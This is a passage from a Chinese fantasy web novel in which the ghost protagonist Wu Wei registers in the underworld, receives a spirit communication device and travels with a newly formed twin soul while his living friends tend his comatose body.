吴惟显然也意识到了这点,在金城一条街上,他受到了不少善意和照顾。
这里的每个人都很尊重他,他吃的用的每一样都是由愿力凝聚而成,而愿力本身就是一种连接。
他由此感受到了他们的情况。
这几天他街头巷尾逛了好几遍,这里有点类似游戏地图,走远了会碰到空气墙。
只用了两天时间,吴惟就走遍了空间的所有角落,摸清楚这里的地形后,他用功德勾勒起祝福符阵。
这是吴惟最初学会的符阵,现在已经非常熟练了,但这里地方过大,还是用了他好几天的时间。
符阵落成,金城一条街所有人忽然停下了自己在做的事,仿佛整条街陷入了一种停滞的状态。
吴惟有那么一瞬间以为自己在玩什么无限游戏。
良久,这些人终于有了动作,他们又哭又笑,有人跪倒在地,有人仰天长啸,内心的激动难言而喻,甚至影响了整个空间。
他们慢慢整理好了情绪,向吴惟围过来,恭恭敬敬鞠了个躬,“谢谢您,真的太感谢您了,先生。”
祝福符阵原本就是最早的赐福手段,它落成的一瞬间所有人都感受到了前所未有的轻松。
能像个正常人一样活着,对这些人一样早已成为奢望,他们为吴惟编织这个空间抵挡天罚的时候就抱着必死的决心了。
然而祝福符阵修复了他们的伤痕,将他们凝聚起来,让他们成为一个全新的个体。
他们原本聚在一起只是为了同一个目标,但意识和意识之间,多少有点互斥,而现在祝福符阵成为了粘合剂,把他们紧密联系到一起。
他们拥有同样的经历,能够很好的共鸣,哪怕性格本身有些不同,但现在完全能够和谐共处。
哪怕以后可能还会出现一些分歧,但一起生活哪能不出摩擦呢,对于他们来说,这种摩擦也是一种幸福。
这一刻的他们…或者说他,获得了新生。
婴灵的功德来的很及时,新生的灵魂很脆弱,它就像母乳一样给了新生儿活力。
功德挥洒出去之后,婴灵眼睁睁看着床上的灵魂从一团变成了两团。
这两团灵魂长得一模一样,都是吴惟的脸,只不过一个眉间有一点朱砂痣,另一个两边眼下有一对泪痣。
[好家伙…]判官笔都震惊了。
吴惟睁开眼就看到一张自己小时候的脸。
鬼魂的视角和活人的视角不同,还不至于只能看到眼前,不至于有什么突然放大的感觉,他倒是没被吓到。
比起这个,他能看到自己也缩小了,和眼前这人一模一样。
吴惟表情有些呆滞,甚至忘记坐起来。他知道身上那些怨魂已经融合成了一个新生的灵魂,离开了他的魂体。
但谁来告诉他这和他长得一模一样的家伙是怎么回事。
这么僵持着,他连看到婴灵的第一时间都没去打招呼了。
婴灵就这么看着吴惟醒过来呆呆地望着眼前人,呆呆都伸手戳了戳,又呆呆地起身。
“有点被萌到了怎么办。”
[想戳…]
吴惟:“……”
不,你们不想。
吴惟终于回过神来了。
看着他那熟悉的模样,婴灵笑了,一个闪身扑上去抱住他。
她是真的被吓到了,本来以为回来之后要很久才能看到吴惟,结果只过了两年,她就在奈何桥的方向感受到他的气息。
那气息很不稳,像是在受刑。
婴灵马上意识到是因为捆仙绳,但是为什么?
她的两年应该还不到人间的两个月。
自家孩子不过在自己走后两个月就被送了下来,这能忍?
见吴惟没事了,婴灵火气就上来了。
“说说吧,到底怎么回事?”
“我记不清了。”
婴灵被这一句整不会了,不是什么叫记不清了,一般来说只有遭受巨大痛苦的灵魂才会有这种情况,难道…
婴灵越是脑补,脸色愈发难看。
吴惟知道她想偏了赶紧纠正,“我没事,只是记忆被模糊了。”
“我和笑笑接到他哥的求救信号,赶过去救人的时候被迷阵困住了。”
“我只记得最后皓轩把我当成搏斗的歹徒捅了一刀,就失去意识了,中间的过程记不清了,甚至敌人是谁都没看清。”
说到这吴惟叹了口气,还真是窝囊啊,有点没脸见人了。
“哼,那还用说,肯定是天魔那个狗东西,除了它还有谁觊觎你。”
确实,除了天魔他没有任何敌人。
“算了,多想无益,”婴灵伸了个懒腰,拉着吴惟的手往前飘,“走,我先带你去城里逛逛,顺便登记个身份。”
“好。”
.
幽冥网,灵讯头条
#临州团宠婴灵大人惊现临城#
[呜呜呜我在临城街头看到了婴灵大人,真的太可爱了,哪怕明天就去轮回,这辈子鬼生值了]
[这话题怎么回事,一点也不严谨,婴灵大人明明是地府团宠,不是你们临州一家的!]
[羡慕楼上,余州人表示也想见见婴灵大人,呜呜呜,可惜路费太贵了]
[说的好像来了你就能见到她一样,本临州本地人,在这里呆了二十年都没见一面呢]
[临州本地人,有谁能告诉我婴灵大人的坐标吗]
[哈哈哈哈我见到了,我就不说,你们来了把人吓跑了怎么办,话说婴灵大人身边那个小可爱是谁呀,和婴灵大人站在一起像金童玉女一样,太可爱了]
[这什么鬼形容,不要这么给婴灵大人配cp啊!我不允许!!]
[楼上什么轮回,金童玉女本身说的就是可爱的小孩儿,跟cp可没关系,不过我也见到了,是真的可爱啊,呜呜呜他还有朱砂痣!!这是什么小仙童!!这谁能想到,我生前最好这口了!!]
[这人我知道,当时我在奈何桥附近,他就是前几天过奈何桥的那位]
[啊——你一说我知道了,不过他不是成年人吗?]
[奈何桥,什么奈何桥?奈何桥那边又出什么新人物了?]
[前两天有人度化亡魂,我在城里都看到了,怨气冲天,可惊人了]
[那不都是骗功德的玩意吗,怎么现在还有这种人,你们居然还一副很尊敬的样子]
[才不是,虽然骗功德的不是没有,但是那位可不一样,数万怨魂啊,哪个骗功德的敢这么干
ps:众所周知,不是出自本心度化亡魂的,奈何桥不会给予任何庇护,但他可是安全走出来了]
[是这样没错,你要是在现场就会明白了,审判过后给的功德那是真不要钱的洒啊,本人鬼差,这辈子都没见过这么多功德]
[总之对于这种大功德之人要给予足够的尊重,不然小心遭报应哦]
[说起来我当时在黄泉边当差,看到婴灵大人要不是被明戈大人抱着就冲上去了,她看上去很急,他们以前就认识吗]
[不是说婴灵大人之前去了人间嘛,说不定是那个时候认识的呢,果然好的人喜欢和好的人玩]
[可不…]
[……]
张钰婷翻着帖子,心慢慢往下沉。
能让婴灵姐姐这么重视的人,应该不会吧…可是有朱砂痣的…
“钰婷,你怎么了?”张钰婷一抬头就看到同事关切的眼神,她回应道,“我没事。”
“可是你的脸色不是很好看哎,用不用去医务室看看?”
“我……”
“婷婷~”
张钰婷才说一个字,就听到有人叫她。
不止她们,周围的人也循声望去,只见穿着官服的小女孩儿拉着长头发小男孩儿的手,往张钰婷的方向飘去。
和众人的惊呼不同,张钰婷有些不安,她猜测成真了,那个温温柔柔的大哥哥也下来了。
吴惟看到熟人也有些恍惚,对啊,这里是地府,看到她很正常。
婴灵拉着吴惟飘到张钰婷的桌案前,把吴惟推了出来,“来,帮你哥登记一下。”
同事姑娘惊呼一声,小声问张钰婷,“他是你哥哥?”
张钰婷脸一红,小声辩解,“不是啦,吴惟小哥救过我,不然现在我也不会在这里了。”
笑死,看着这么嫩的小脸,叫小哥已经很极限了,大哥是一个字也叫不出来,大不了一点。
“咳…”张钰婷轻咳一声,脸色恢复了正经模样,“吴惟小哥你
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稍等一下,我马上给你做登记。”
“嗯,麻烦你了。”吴惟眉眼弯弯,露出了明媚的笑容。
其实对吴惟来说只是浅笑,他刚刚见她和同事很自然的互动,似乎生活很不错,很为她高兴,就忍不住笑了出来。
谁知道小孩子做出来的表情,会稍显夸张,在外人眼里,自然就没有他自以为的稳重了。
张钰婷脸一红,赶紧转身去找设备。
要命,这也太可爱了叭,好想捏捏!我成怪阿姨了呜呜呜…
有这种反应的不止她一人,周围的人也倒吸一口冷气,努力保持冷静,然后…
去幽冥网上发疯!
[啊啊啊啊我见到婴灵大人身边的小孩儿了,超可爱,真的超可爱!!]
[呜呜呜…他笑了他笑了,这个笑容太可爱了!!]
[丫的你们这群人,有本事放图片,别光说啊!]
[来了来了 #图片# ]
[卧槽,我们之中出了叛徒,说好了只欣赏不拍照呢]
[不存在的,这么美好的笑容当然要收藏起来慢慢盘啦~]
[太可爱了,居然还是个凤眼,一看就是个美人胚子,啊这朱砂痣长在了我的心巴上,这是什么小仙童转世吧!!!]
[不是美人胚子是正经大美人哦 #图片# ]
这张照片是吴惟在黄泉客栈呆坐着的时候拍的,上面隐隐约约还能看到未收敛起来交织在一起的各种气机,有功德有怨气,还有愿力和正气。
[好家伙,不说人长得怎么样,这样的气机是真实存在的吗?我第一次见哎]
[楼上年龄很小吧,是有的哦,在古代若是当官做将军,会更复杂,不过气机这么驳杂还这么纯粹,至少我没见过]
[……]
张钰婷动作很快,取来一份空白玉简。
其实她本来不用飘过去的,只要一伸手就可以让它飞过来,但若是不转过来,吴惟肯定要看到她不正常的笑容了。
魂体虽然视角不一样,有时候能看到事物的另一面,但若是当事人有心掩饰,还是能屏蔽他人的感知的。
张钰婷手一挥,把空白玉简摊开在吴惟面前,“直接把手放上去就好了。”
玉简静静地飘在空中,说是玉,实际上也只是一种感觉,它也是气凝聚而成的。
在魂体眼里,气都是有光泽的,这个玉简也不例外,流光溢彩,煞是好看。
吴惟看了一会儿,才把手放上去。
光华刹那间从玉简中倾泻而出,像茧一样包裹住他,只一瞬茧又变成文字回到玉简中,归于平静。
“这就,结束了?”吴惟觉得还没看够,他活着的时候哪见过这样的场景。
虽然平时和玄门和鬼怪打交道的时候,也会被各种气缠绕,但那只是大脑生成的一种印象,实际肉眼是看不到的。
而在地府,抛去肉身和真正的视觉,这种感觉反而变得真实起来。
之前在笔内空间的时候,他还怜悯婴灵没见过人间的风景,原来没见识的是自己。
然而吴惟以为的一瞬间,其实在众人眼里已经过去了两三天。
地府众人时间感受是不一样的,个体有时候也会有不同的长短变化,但当他们关注同一件事物的时候,时间感官有很大的可能会同步。
一般来说,一个人的生平会事无巨细都会反应在玉简上,但只有大事件才会浓墨重彩的记录。
玉简和人间的系统也有类似,若是有什么大事,总是类似事件叠加,也会反应的很快。
吴惟的前半生乏善可陈,但最后一年里能称得上是大事件的也就是大地震和火烧捆仙绳了。
当然这只是他自己以为的,玉简可不这样认为。
四大符阵哪怕在地府都是特殊的存在,它把吴惟每次使用都着重标记出来了。
而着重记录的东西,外界是可以观看的,一般来说这些事件是判断人生前作为的重要事件。
若是有人的作为在奈何桥上并不算大奸大恶,但在世人眼里依旧属于恶,就会被送去查察司或者阴律司还清因果再入城。
而此时以吴惟在幽冥网上火爆程度,自然有人专程赶来看看这个公认的大好人都做了些什么。
.
60.第 60 章
此时,已经有人在幽冥网上开启了现场文字直播。
[卧槽,我想起来这是谁了,他不就是送我下来的吗?ip蜀州]
[我也是,小哥哥好凶哦,用功德当燃料的三昧真火烧,痛死了,不过那个时候我们被怨气侵蚀了,差点就回不来了]
三味真火的功效有时会随着不同的燃料,产生带有燃料本身的特性的效果。
不过这句要是让吴惟看到,高低得在心里吐槽一句,三昧真火算啥,他现在可是被业火烧过的鬼了,这个更疼呢:)
[好家伙,燃烧功德可还行,这是个狠人,热知识,功德用一点少一点,和别的能量不同,在人间赚功德要做很多好事才可以]
[我也…]
[……]
[等等,一个人,一场灾难度化这么多人可能吗,你们会不会认错了把别人当成他了?]
[我不知道,我是其他人度化的]
[其实你们不论是谁度化的,大多数人还是承了他的情,是这个小哥哥的符阵给了他们消息,才能很快找到你们]
[还是而归终符阵,信息准确度高达百分之百的玩意,再加上军人们用浩然正气不停歇的往里面填,嘶…这在收集功德这方面,简直是作弊]
[而且他度人很拼的,一天能耗空好几次,全靠队友支撑蓝条,为了赶场子,所以才有好多人都是被他用功德烧过…]
[度了人,补充了功德继续烧,清洁能源被他玩明白了 #黄豆捂脸# ]
[噗,神特么清洁能源,循环利用是吧,6]
[这功德无量该他拿]
[卧槽,这小哥哥和天魔对上了!]
[天魔?什么天魔?]
[就是人间至恶,是一种潜伏在人性深处的怪物,好家伙,人间又到了天魔降临的时代了吗?]
[这么一说,你们刚刚有想起来什么吗?四大符阵啊,我就说怎么会有活人学会了…不对,他甚至都学会了!太强了!!]
[天魔把小哥哥的意识抢走了,然后…卧槽,怎么突然所有判官都跑到蜀州…啊不对川省了]
[是婴灵大人,666,真不愧是地府团宠]
[哈哈,现在地府团宠又要多一个了,笑死,团宠养的小孩谁能不宠着呢 #坏笑# ]
[可他值得]
[……]
[好家伙,他同学都是什么奇葩啊,让我数数啊,之前那个能预言自身灾难的、听得懂猫语的、做小人的、能指挥精怪的、大奶,然后这还有毒奶、欧皇、风神、养蛊的,剩下几个应该也不简单]
[666大佬的同学都是大佬,要不是个人经历会模糊别人的信息,我真的好想提前查清楚,到时候抱大腿,尤其是欧皇哈哈哈哈]
[谁不是呢,想听毒奶骂我,笑死]
[……]
[卧槽,捆仙绳!好久没有现世了!]
[捆仙绳是什么?]
[顾名思义,能捆住仙人的绳子,这玩意特别邪,我跟你讲…(此处省略二百字科普)]
[卧槽,这么个东西太恶心了!]
[太狠了,他在自己体内刻了业火符阵,用业火去烧,居然还成功了,之后把被打散的捆仙绳收到了体内,不是我说,哪怕这玩意确实不能让它扩散,但是收!到!体!内!也太狠了吧,这得多痛!]
[嘶,所以之前奈何桥的审判就是因为捆仙绳?]
[八成是了。]
[……]
[奇怪怎么到这就断了]
[什么断了]
[就到崽崽为了救人冲进迷阵里就没了,没提崽崽怎么死的]
[不是这就崽上了?居然没提这不科学,崽崽那么强怎么会突然就死了?该死的天魔,一定是他干的!]
[楼上你自己不也崽上了!不行我要向查察司提出申请,这件事必须查]
[我也去,必须查清楚,不能让崽崽死的不明不白的!]
[……]
[那什么,崽崽应该醒了,过会儿就会领到小灵通,大家要不要把消息删一删,崽崽那么社恐,咱们要守护好崽崽的心理健康,不能让他感觉社死]
[楼上说的很有道理,咱们私下建网]
[带我一个]
[……]
[说真的我到现在都想吐槽,到底哪个鬼才想到用小灵通这个名字啊,人间淘汰了来地府是吧,有毒]
[还好吧,咱们这小灵通名副其实,确实是灵力通信,hhh]
[这个确实]
其他消息慢慢覆盖幽冥网,关于吴惟的信息反而逐渐消失,幸好吴惟不知道这些,不然真的得社死了。
他此时正想要查看玉简,结果玉简像是害羞了一样直接卷了起来,飞回档案库。
吴惟:“……”
没有看到结局,婴灵也有些意外,不过她查到幽冥网吴惟的信息满天飞,又被人小心翼翼清理了,决定还是不要提这个事的好。
照顾崽崽情绪很重要。
现在这声这声崽崽换谁来都心安理得,毕竟吴惟现在确实只有二头身:)
张钰婷的关注点落到了盛思涵身上,她没想到那人和自家哥哥还有那么点渊源。
看到她什么东西都往吴惟身上招呼,甚至用了捆仙绳,张钰婷很愤怒,伤害自己就算了,还要伤害她哥!
她哥是犯了什么天条吗,要被这种人喜欢上!
再后来看她脱离系统变正常了,反而像普通人一样有了良心,她她又看到吴惟为了她的事,专门去找盛思涵,内心突然有一种释然的感觉。
她不想关注这人了,既然吴惟小哥觉得自己只是在和天魔过招,那她也不会去恨不相干的人了。
而且真要算起来,她一生当中的苦难,源自于盛思涵的反而是最轻的。
结束了,她还有点回不过来神,直到玉简飞走。
张钰婷赶忙拿过小灵通,也就是一张很有科技感的符。
因为是空心透明的,只有边框和符文是亮起来的,很好看。
吴惟不知道第几次被这种有趣的小玩意吸引了。
张钰婷把它交给吴惟,“这是小灵通,把它贴在手背上,魂体别的地方也可以,它会融入魂体变成一个符文。”
“这东西的功能和手机是一样的,只不过不需要拿出来,想看的时候心里想一下就可以了。”
“可以直接用意识操控,也可以这样。”张钰婷手一滑,一个光屏出现在眼前。
吴惟惊叹:“好像全息啊。”
虽然现实中还没实现,但各种动漫小说里的设定有很多。
“没错,听说最初制作的灵感就是来源于此。”
吴惟拿到符,还没贴,它有了自己的想法,自己飞向他的眉心。
吴惟:“?”
不是他眉心有什么魔法吗,怎么一个两个的都这样?
[其实可能还真是我的锅…估计是感受到我的气息才会被吸引过去…]判官笔难得心虚。
而当初判官笔选择那个位置是因为在上丹田,距离人意识盘踞位置最近。
“不过挺好看的。”婴灵点评道。
每个人的小灵通幻化出来的形状都不一样,吴惟的小灵通变成了莲花形状,映衬着这张小脸更像神仙童子了。
吴惟有些麻木了,刚刚张钰婷演示的时候,投射出来光屏是印记是会发光的!
也就是说,他若是想把光屏投出来给别人看的时候,岂不是变成二郎神了?!
画面太美,他不敢想。
算了这不重要,自从变得显眼之后,他已经很习惯社死了。
吴惟无视掉这种无力感,在意识里查看小灵通的功能。
这东西确实像张钰婷说的那样和手机差不多,某鹅,某博,某站之类的app都能找到平替。
甚至一些绘画编曲之类的软件也有,类似人间绘画的功能齐全,还多了一个直接用心灵创作的功能。
只要你意识够强,想象力足够丰富,哪怕没有手上功夫也可以作画。
按吴惟的话说就是,比ai强,至少指哪打哪。
只不过这也是对于他这种本身就有创造能力的人来说,换个想象力不好的人来,还不如ai呢。
毕竟再脑绘,也得你脑子里有东西,它可不是大模型整合别人的成果。
吴惟觉得张钰婷说的不对,这哪是手机啊,这是手机电脑平板三位一体机,果然当鬼比在人间有趣多了!
而且小灵通一般不会坏,也不会没电,它是可以直接用除地气以外任何能量去喂的,可以说只要你还有灵魂存在,就可以使用。
除非包裹小灵通的那部分身体被切割下来找不到了,才需要去挂失领取新的小灵通。
因为魂体也是一种能量。
这么算起来的话,在头上确实也有好处。
因为哪怕是魂体,作为曾经的人类,下意识的会保护头部,这里反而是最不容易遗失的部位。
婴灵看吴惟从小灵通里回过神,向张钰婷打了声招呼,就拉他离开了。
两鬼在城里飘荡,婴灵给吴惟介绍着地府的一些情况。
“正规流程呢,从奈何桥过来之后,就是去刚刚那个地方登记入城,领取一些基础资金和临时租住的房子。”
“地府的通用货币是幽冥点,以前是魂晶,当然现在魂晶也可以存成幽冥点。功德就像人间的黄金一样是硬通货,不过功德是不可以私下交易的。”
这个幽冥点听起来好信用点啊…吴惟想起某六字游戏,还挺科幻。
“没错,就是写科幻的人搞出来的。”婴灵揶揄地笑了一下,“从某种程度上来说,建设地府的那群死宅,跟你一样满口设定呢。”
吴惟想起他们刚见面的时候,老脸一红,辩解道:
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“二次元都这样。”
婴灵没忍住,上手捏了捏他的脸,弄得吴惟满脸茫然。
婴灵想,果然还是小孩子好,没有距离感,要是上手捏大只的跟耍流氓一样,难怪沅姐姐喜欢捏她呢,这手感真好啊。
两小只快快乐乐在城里玩了一圈。
地府的许多地方和人间都不同,比如城池,依旧像古代一样高筑城墙,因为野外有很多危险。
一是地气过强容易导致鬼迷失方向,二是浓度过高的地气就像浓度过高的氧气一样,会侵蚀鬼的意识,若是不及时救治,几乎是回不来的。
那些地气过于浓郁,不适合鬼魂生存的地区,被统一称为大荒。
大荒中的鬼怪和鬼城里的鬼不同,它们就是被侵蚀之后,早就面目全非混乱意识集合体,攻击性极强,若是碰到了,一般鬼很难有生还空间。
除了形态更多变以外,它们很像人间刻板印象里的鬼怪。
而鬼的意识一旦被地气侵蚀狠了,是不能入轮回的。
虽然轮回也会把人的意识打乱重组才能再投胎,但大多数鬼还是有个共识,进入轮回是鬼生延续,虽然再次醒来的灵魂不再是他们,但也是他们意志的延续。
所以大多数鬼还是希望自己最终的结局是轮回的。
鬼城外面危险,但鬼城和鬼城之间是有官道的,官道和黄泉路一样,都是有义工清理出来相对安全的道路。
至于官道的义工和黄泉路的义工有什么不同,因为这里是真正属于地府的空间,危险性要低一些,他们赚取的不是功德而是幽冥点。
不过黄泉路为了保证那些为了消解怨气而做义工的厉鬼的安全,也会做一些保障措施,一般不会出现意外就是了。
官道除了官方开设的列车以外,其他鬼也可以走,只不过人身安全只能自己多注意了。
另外还有一些私家的货运或者拉客的车,票价都会很贵。
至于传送阵这种东西,曾经有,现在因为末法时代也开不起来了,是以现在的交通会比古代要闭塞一些。
不过大家也都习惯了平时只在城里玩,想要旅游的话只要攒够钱就可以。毕竟地府的日常消费不多,鬼是不需要进食,不需要水电之类的。
他们只需要定期保养魂体,租房的把房租交了,买过房的把物业交了,就没有其他费必须用了。
另外值得一提的是,地府是没有房贷的,每只鬼房产只能有一处,商业用地另外算,但住处确定只能有一处。
房子都是官方提供的,若是房租交够了买房的钱,那么它会直接属于你个人。
若是那天想换房子了,可以将原来的房产以百分之八十的价格出售给官方再买新的。
可以说很人性化了。
因为压力小,鬼城的居民要平和很多,连冲突都少,吴惟很喜欢这样的氛围。
吴惟感叹道:“难怪天魔不对地府动手。”
“也并不是没有,”婴灵摇头,“之前装系统骗盛思涵那个恶鬼,就是被天魔蛊惑的。”
“只不过恶鬼一般都在地狱,和普通鬼距离很远,天魔能够操控的是恶意,却是以善念为食,所以操控恶鬼一般来说对他没什么意义。”
“地狱比鬼城了严多了,他就算蛊惑所有鬼怪,也无法逃离地狱,就算出来了,跑到大荒也要面临侵蚀,更何况我们发现问题之后,又加强了管理,他再对地狱动手就得不偿失了。”
吴惟点头,“确实水浑才好摸鱼。”
“话说我平时还要工作,你接下来有什么打算吗?”婴灵突然问道。
接下来吴惟应该是要一直在这生活下去的,她有必要替他做好安排。
“每个人发放的幽冥点会以人间的善恶点分配,地府规则自有一套逻辑换算,你的初始幽冥点应该不少。”
“至于房产,一会儿去房管处选一个你喜欢的地段,户型可以自己捏,只要空间不超过规定的空间就可以。”
“嗯…你想住我那里也可以,反正我家大,我可以划一片区域给你随便捏!”
大家长豪气说道。
“好,那就麻烦你了。”吴惟笑了起来,欣然接受这个提议。
最近家里人多了,真要让他自己一个人住,他还有点不习惯呢。
跟婴灵在一起总是很轻松,她没有人间那些弯弯绕绕的心思,说话一直都很直白。
就像初遇的时候,谁会上来就说,你好我是地府判官,换个人妥妥把她当神精病。
但是她根本没想那么多,她只觉得自己砸了别人,还坑了他一把,要道歉就要以最真诚的态度,把所有话都说明白了。
吴惟在关兴面前很直接放出宁淮的时候,简直是有样学样,果然近墨者黑呢。
或许这种话对别人说来,会因为别人的眼光想很多有的没的,但吴惟不会。
婴灵邀请,他怎么也不会拒绝的。
.
61.第 61 章
“你醒了,有没有哪里不舒服?”
两颗泪痣的小男孩一睁眼就看见自己最熟悉的人,以一副幼年的姿态盘坐在自己面前。
他默默爬起来,盯着眼前的人看。
吴惟有些担忧,抓住他的手,用愿力探了进去。
虽然他不会医术,但也多少能观察到灵魂有没有什么问题。
小男孩儿就这么看着他,没有反抗。
良久,吴惟探查过后没有发现异状才松了口气,问道:“会说话吗?”
“嗯。”小男孩点点头。
吴惟又问,“我现在要怎么称呼你?”
男孩想了想,回答道:“吴烬,灰烬的烬。”
吴惟皱了皱眉头,“这个名字好不吉利。”
“没有,”小男孩笑了起来,“烬是毁灭后的新生,很吉利。”
“原来还可以这么解释。”这下吴惟放心了,听起来这个新生的灵魂没有什么轻生的念头。
吴烬最知道自己现在的生命有多来之不易,自然不会轻生。
若非阴差阳错遇到眼前这人,自己依旧会在捆仙锁中沉沦,直至意识消磨殆尽。
吴烬,无尽,也是代表他的生命没有走到尽头。
恩人,不,哥哥的姓很好听。
灵体精怪化形,总是会按照最熟悉,最向往的方向变化。
吴烬的灵魂在未成形的时候意识里最清晰的形象就是吴惟的模样,自然也就化成了他的样子。
现在的他们像一对双胞胎一样,吴烬很自然就把吴惟认做哥哥了。
“对了,你想回金城看看吗?”
吴烬呆了呆,随后“噗嗤”一声笑了出来。
大多数人遇到像他这样遭受重大创伤的人会刻意回避相关话题,以免对方遭受刺激。
可是他这个哥哥可真不是一般人,想到什么说什么。
吴惟没有发现问题,只道,“我听婴灵说,地府一般不会清除记录,哪怕已经消失很久的灵魂,金城应该还有你们的信息。”
“枉死之人一般都会得到相应的补偿,你们无故受了那么大的磋磨,如果想要去把那些补偿拿回来的话,我可以陪你一起。”
反正他没什么事做。
“而且那里是你们的故乡,也许还有你们在意的人还没有进入轮回。”
吴烬听着吴惟絮絮叨叨的话,眼神渐渐变得柔和。
他的意识驳杂,每个人都有自己在意的东西,混杂在一起,自然也抵不过所以灵魂共同经历的痛苦。
那些温暖的,快乐的,轻松的点点滴滴早就在捆仙绳中化为灰烬。
于他而言,除了把自己从炼狱拉出来的吴惟,已经没什么留恋了。
但这既是吴惟的好意,他自然没有什么不能答应的。
.
吴惟拉着吴烬上了列车。
一般来说列车买票是需要在幽冥网上预定的。
在地府,小灵通就是身份证,每个小灵通都和自己的主人绑定,让人一眼就能认出你来。
有小灵通就能上网,地府网络链接的是各种气机,所以在地府不存在所谓的“没信号”。
在幽冥网上买票预定很合理,从来不会出什么问题,也就没有像人间那样的现场售票点了。
而且也因为小灵通的方便性,每个人也只能购买自己的票。
但吴烬没有小灵通,他情况比较特殊。
他是新生的没错,但也有过去,要么先消籍再登记,要么直接以新生灵魂的身份登记。
而若是以新生灵魂在当地登记,曾经的一切都要一笔勾销。
吴惟觉得这样有点太委屈他了,既然吴烬也同意回去消籍,自然还是清算清楚才好弥补他受到的委屈。
消籍就是要把之前的因果清算,该惩罚的惩罚,该补偿的补偿,以后的事不在牵扯往昔。
也只有这样吴烬才算真的新生。
一般来说,地府的出生地,就是人间的死亡地,因为他们都是在金市被屠杀的,所以其中哪怕是有些外地人,档案这也是在金城的。
而金市大屠杀已经封存档案了,若要消籍,他们就需要回到当初死去的地方,请查察司的人手动提取档案,核对所有人的信息,流程很麻烦,无法远程。
所以他们必须去一趟金城。
前两天婴灵向余州那边打了申请,那边通过了,并且为吴烬申请预留了一个位置,吴惟这才带着他上路。
地府的列车外观和人间很像,到内里大不相同。
一排排的梦幻泡泡,像座位一样排布,但你触碰到自己的泡泡时,会被吸进去,里面的空间很大,是鬼城给每只鬼的初始房子大小。
如果有好友,经过对方同意还可以把泡泡连在一起,里面的构造也是可以随自己心意去捏的。
吴惟刚进入空旷的泡泡中,就接到了吴烬的对接申请,他想也没想就答应了。
泡泡变得更空旷了。
“哥,你随便捏。”吴烬凑到吴惟身边,抱住他胳膊。
小孩子就是好,可以随便卖萌。
吴惟把他家照搬了过来了,只是改动了一些细节。这是他最熟悉也是最舒服的领域。
小狗窝变成了大狗窝,睡两个小孩子绰绰有余。
毛绒玩意多了一倍,吴惟觉得不管是男孩儿还是女孩儿应该都不会讨厌毛茸茸。
还有一堆酷炫的手办,家里足够大,他把自己设子全部捏了一个遍,阳台的植物顺着窗户边爬到二楼,在卧室房顶垂落。
窗户外面能看到地府荒芜的景象,天空是红色的,像是岩浆倒流上去,变成天幕遮蔽整片区域。
但也能看见一些黑色,因为地球是圆的,岩浆的覆盖并非向下,而是向上弯曲,若用人间的比喻,就像是红色月亮非常接近地面时的感觉。
列车时而穿过河流的区域,往下看,你甚至能看到人间的天空。难怪随便一条河流都能够连接地府,真有趣啊。
两个小孩儿看的津津有味。
.
“你都一天没吃东西了,多少吃点吧。”
常皓轩机械地转过头,看着常笑,脸上的难得露出茫然的神色。
“笑笑…”
常笑叹了口气,说道:“不怪你,他也不会怪你的,吃吧,别折磨自己了。”
常皓轩好像什么也没听进去,呢喃道,“你说我怎么就那么废物呢,要是那个时候能看破迷障…”
“哥!”常笑很无奈,他心里也不好受,这是第三次了,他以为他这次把吴惟护在了身后就万无一失了。
谁知道那个隐藏在背后敌人能釜底抽薪,直接迷惑了常皓轩的心智,把吴惟当成和自己搏斗的歹徒一刀捅了过去呢。
那迷阵好像就是为吴惟设的一样,在他倒下后,立马消失地无影无踪,哪怕是宋靥星这位大阵师也一点痕迹都看不出来。
此时吴惟就在他们眼前,若是忽略脸色的苍白,他看起来像是睡着了一样。
曲枫荷说他还有活过来的机会。
她说吴惟现在的状态很特殊。
当初常皓轩那一刀正正好捅在吴惟的心脏上,血流的到处都是,按理说这人应该活不成了。
但很奇异的是,那颗心脏依旧在跳动。
很微弱。
曲枫荷接到消息后,用最快速度赶来,强行用祝由术强行封住了吴惟的心脉,让他呈现一种假死的状态。
一般来说心脏停止跳动代表死亡,但反过来,也是一种封闭。
生命在于流动,而生命的终点,就是停止这种流动。
但同吴惟现在的情况又有不同,假死的状态是一种暂停。
“他的心脏受伤之后,原本的机能在减退,是愿力在代替心脏的功能,为他身体各部分输送能量。”
愿力本身没有属性,可阴可阳,平时代替清气在经脉里游走,在他受伤之后,瞬间转化为浊气作为血液为身体各处输送养分。
然而心脏每跳动一下都需要消耗大量的能量,曲枫荷只能先封住他的心脉。
封住心脉就是封存他的生命力,只要能量充足,他的身体就不会出事。
他的能量经不起消耗,所以只有先让他假死,等心脏的伤口彻底痊愈后,再解开封印,复苏心脉。
“现在他的身体很脆弱,只能由它自己慢慢愈合,他不能用任何药,因为吸收不了。”
“你们若是希望他早点好起来,
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就想办法帮他收集更多的愿力。”
换句话说就是让更多人喜欢他。
曲枫荷就留下了这些话,就离开了。她作为医者,不能单单为一人停留。
走之前常笑向她问了学医从那本书看起,曲枫荷有些惊讶,“你想学医?”
“听莫繁说我的命格是天医临命,最适合学医,我想变得有用。”至少,不能像之前那样,因为参与不进去,导致身边的人受伤。
吴惟经常调侃他是最强的奶妈,既然是奶妈,至少他也得学会续命吧,只加蓝条算什么。
“你确实适合学祝由术,”曲枫荷点头,“等会儿我给你整理了个书单,不懂的你就问我”
“等我下次来我先教你一些在吴惟身上能用得上的简单祝由术。”
“好,麻烦你了。”
看着吴惟苍白的脸,常笑的不知道该怎么安慰他哥,毕竟亲手杀死战友的事,换谁都受不了。
而他哥是个警察。
常皓轩这种颓废的状态已经三天了…
“笑笑,你知道吗,我真的没办法原谅自己,身为警察,居然向自己的同事出手…”
常笑当然知道,但他静静听着,没有说话。
常皓轩恨自己背叛了自己的信仰,哪怕知道自己是在被幻境迷惑下动的手,但他过不去心里那道坎。
“我现在武器都握不稳了,每次拿起手中的枪,眼前就会闪过他的脸…”
他很害怕。
他已经不适合当警察了。
常皓轩向特事局申请辞职,赵年没有同意,只是把他调到了后勤部,又给他放了几天的假。
特事局人手一直不够,他们向玄门招人基本招不到,就连隐峰那边也是因为他们本身入世就是为了济世助人,才会和特事局合作的。
若非玄门之人也希望官方在他们有事可以通融方便,加上他们研发的app确实好用,他们根本不会看特事局一眼。
常笑再次叹气,他哥哪点都好,就是太容易被感情牵绊了。
当初他会来特事局也是因为经常遇到特殊事件,自己又解决不了感觉很窝囊。
直到常皓轩协助特事局的科研人员开发了app,才好受一些,再之后他才接替上一任处长的工作。
行动处虽然叫这个名字,但许多案件并非他们能够独立解决的,更多的是要协调各方,有需要的时候求助适合的人选。
很窝囊对吧,他们特事局一直这么窝囊。
